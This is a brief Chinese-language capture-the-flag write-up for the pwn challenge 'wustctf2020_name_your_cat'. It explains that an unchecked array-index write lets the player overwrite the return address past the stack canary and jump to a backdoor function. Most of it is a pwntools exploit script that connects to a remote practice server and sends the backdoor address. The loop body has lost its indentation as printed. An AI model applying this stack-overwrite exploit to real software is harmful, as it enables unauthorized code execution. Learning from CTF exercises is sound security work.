看上去有点吓人,还有cannary
关键在这个函数,这个写入逻辑没有加判断就很有问题。我们只要输入大一点的数就能往栈上写任何数据,所以我们只要调试出返回地址在哪我们就能实现getshell(程序中有后门函数)
from pwn import*
from LibcSearcher import*
context.log_level='debug'
#io = process('./wustctf2020_name_your_cat')
io = remote('node4.buuoj.cn',26845)
libc =ELF("libc-2.232.so")
elf = ELF('./wustctf2020_name_your_cat')
shell_addr =0x080485CB
for i in range(5):
io.sendline("7")
payload = p32(shell_addr)
io.sendline(payload)
io.interactive()